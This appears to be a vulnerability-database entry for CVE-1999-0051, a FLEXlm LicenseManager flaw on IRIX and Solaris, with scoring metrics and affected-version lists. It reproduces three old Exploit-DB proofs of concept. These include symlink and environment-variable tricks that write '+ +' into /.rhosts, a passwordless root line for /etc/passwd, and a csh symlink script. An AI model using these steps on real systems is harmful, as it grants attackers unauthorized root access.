CVE-1999-0051 : Detail

CVE-1999-0051

0.04%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
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CVE Descriptions

Arbitrary file creation and program execution using FLEXlm LicenseManager, from versions 4.0 to 5.0, in IRIX.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19066

Publication date : 1996-04-04 22h00 +00:00
Author : Arthur Hagen
EDB Verified : Yes

source: https://www.securityfocus.com/bid/72/info Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to overwrite root-owned files allowing root access. % setenv NETLS_LICENSE_FILE /.rhosts % /usr/etc/LicenseManager & Install... NetLS Node-locked Vendor Name: whatever Vendor ID: + + Product name: whatever License version: 1.000 License version: Expiration date: 01-jan-0 (in license version field put a space) Apply License(s) succesfully installed % cat /.rhosts #:# "whatever" "whatever" "1.000" "Incomplete" + + If your system has remote root logins disabled, replacing /.rhosts with /etc/passwd and + + with toor:0:0::/:/bin/sh.
Exploit Database EDB-ID : 19067

Publication date : 1996-11-21 23h00 +00:00
Author : Yuri Volobuev
EDB Verified : Yes

source: https://www.securityfocus.com/bid/73/info Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to arbitrary manipulate root-owned files allowing root access. % mkdir -p /tmp/var/flexlm % setenv LICENSEMGR_FILE_ROOT /tmp % cd /tmp/var/flexlm % cat > license.dat # # FLEXlm license file # FEATURE + + blah sgifd 1.00 01-jan-0 0 blah ^D % ln -s /.rhosts license.dat.log % LicenseManager & Next click on Update, fill in the four fields with any information and click on Apply. LicenseManager will report an error. Ignore it and exit. % cat /.rhosts Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996 # # FLEXlm license file # FEATURE + + blah sgifd 1.00 01-jan-0 0 blah % rsh localhost -l root #
Exploit Database EDB-ID : 19350

Publication date : 1998-10-20 22h00 +00:00
Author : Joel Eriksson
EDB Verified : Yes

source: https://www.securityfocus.com/bid/461/info The Solaris License Manager that ships with versions 2.5.1 and 2.6 is vulnerable to multiple symlink attacks. License Manager creates lockfiles owned by root and set mode 666 which it writes to regularily. It follows symlinks. bash$ ls -l /var/tmp/lock* -rw-rw-rw- 1 root root 0 Oct 21 18:24 /var/tmp/lockESRI -rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockISE-TCADd -rw-rw-rw- 1 root root 0 Oct 21 14:29 /var/tmp/lockalta -rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockansysd -rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockasterxd -rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockhpeesofd -rw-rw-rw- 1 root root 0 Oct 21 18:46 /var/tmp/locksuntechd And: bash$ ls -l /var/tmp/.flexlm total 2 -rw-rw-rw- 1 root root 163 Oct 21 19:55 lmgrd.211 There are several lockfiles created by the License Manager. It is trivial to gain root access locally through exploitation of this vulnerability. ------ #!/bin/csh -f # Change target user name before running # [email protected] 10/98 rm /tmp/locksuntechd ln -s ~targetuser/.rhosts /tmp/locksuntechd exit ------ then wait a min and cat + + >> ~targetuser/.rhosts

Products Mentioned

Configuraton 0

Globetrotter>>Flexlm >> Version 4.0

    Globetrotter>>Flexlm >> Version 4.1

      Globetrotter>>Flexlm >> Version 5.0

        Sgi>>License_oeo >> Version 3.0

          Sgi>>License_oeo >> Version 3.1

            Sgi>>License_oeo >> Version 3.1.1

              Sgi>>Irix >> Version 3.3.2

                Sgi>>Irix >> Version 3.3.3

                  Sgi>>Irix >> Version 4.0

                    Sgi>>Irix >> Version 4.0.1

                    Sgi>>Irix >> Version 4.0.1t

                    Sgi>>Irix >> Version 4.0.2

                    Sgi>>Irix >> Version 4.0.3

                    Sgi>>Irix >> Version 4.0.4

                    Sgi>>Irix >> Version 4.0.4b

                    Sgi>>Irix >> Version 4.0.4t

                    Sgi>>Irix >> Version 4.0.5

                    Sgi>>Irix >> Version 4.0.5_iop

                    Sgi>>Irix >> Version 4.0.5_ipr

                      Sgi>>Irix >> Version 4.0.5a

                      Sgi>>Irix >> Version 4.0.5d

                      Sgi>>Irix >> Version 4.0.5e

                      Sgi>>Irix >> Version 4.0.5f

                      Sgi>>Irix >> Version 4.0.5g

                      Sgi>>Irix >> Version 4.0.5h

                      Sgi>>Irix >> Version 5.0

                        Sgi>>Irix >> Version 5.0.1

                        Sgi>>Irix >> Version 5.1

                        Sgi>>Irix >> Version 5.1.1

                        Sgi>>Irix >> Version 5.2

                        Sgi>>Irix >> Version 5.3

                        Sgi>>Irix >> Version 6.0

                        Sgi>>Irix >> Version 6.0.1

                        Sgi>>Irix >> Version 6.0.1

                        Sgi>>Irix >> Version 6.1

                        Sgi>>Irix >> Version 6.2

                        Sgi>>Irix >> Version 6.3

                        Sgi>>Irix >> Version 6.4

                        Configuraton 0

                        Sun>>Solaris >> Version 2.4

                          Sun>>Solaris >> Version 2.5

                            Sun>>Solaris >> Version 2.5.1

                              Sun>>Sunos >> Version 4.1.1

                              Sun>>Sunos >> Version 4.1.2

                              Sun>>Sunos >> Version 4.1.3

                              Sun>>Sunos >> Version 4.1.3u1

                              Sun>>Sunos >> Version 4.1.4

                              Sun>>Sunos >> Version 4.1.4jl

                                Sun>>Sunos >> Version 5.4

                                Sun>>Sunos >> Version 5.5

                                Sun>>Sunos >> Version 5.5.1

                                References